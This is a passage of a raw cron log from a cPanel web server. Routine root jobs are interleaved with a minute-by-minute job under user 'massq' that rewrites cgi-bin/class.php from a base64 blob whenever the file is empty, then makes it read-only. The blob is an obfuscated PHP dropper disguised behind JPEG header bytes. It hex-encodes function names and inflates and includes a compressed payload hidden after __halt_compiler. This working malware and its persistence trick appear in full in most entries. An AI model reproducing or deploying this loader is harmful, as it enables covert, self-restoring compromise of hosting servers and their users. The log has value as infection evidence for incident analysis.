OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:41:01 server CROND[1657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:41:01 server CROND[1656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:42:01 server CROND[2165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:42:01 server CROND[2166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:42:01 server CROND[2164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:42:01 server CROND[2167]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 08:43:01 server CROND[2565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:43:01 server CROND[2566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:43:01 server CROND[2567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:44:01 server CROND[2981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:44:01 server CROND[2982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:44:01 server CROND[2983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:45:01 server CROND[3369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:45:01 server CROND[3371]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:45:01 server CROND[3370]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:45:01 server CROND[3372]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 08:45:01 server CROND[3374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:45:01 server CROND[3375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:45:01 server CROND[3373]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 08:46:01 server CROND[4204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:46:01 server CROND[4205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:46:01 server CROND[4206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:47:01 server CROND[4686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:47:01 server CROND[4687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:47:01 server CROND[4688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:48:01 server CROND[5076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:48:01 server CROND[5077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:48:01 server CROND[5078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:49:01 server CROND[5467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:49:01 server CROND[5468]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:49:01 server CROND[5469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:50:01 server CROND[5865]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:50:01 server CROND[5866]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 08:50:01 server CROND[5878]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 08:50:01 server CROND[5877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:50:01 server CROND[5879]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 08:50:01 server CROND[5876]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:50:01 server CROND[5884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:50:01 server CROND[5881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:50:01 server CROND[5880]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 08:51:01 server CROND[6728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:51:01 server CROND[6729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:51:01 server CROND[6730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:52:01 server CROND[7199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:52:01 server CROND[7200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:52:01 server CROND[7201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:53:01 server CROND[7575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:53:01 server CROND[7577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:53:01 server CROND[7576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:54:01 server CROND[7954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
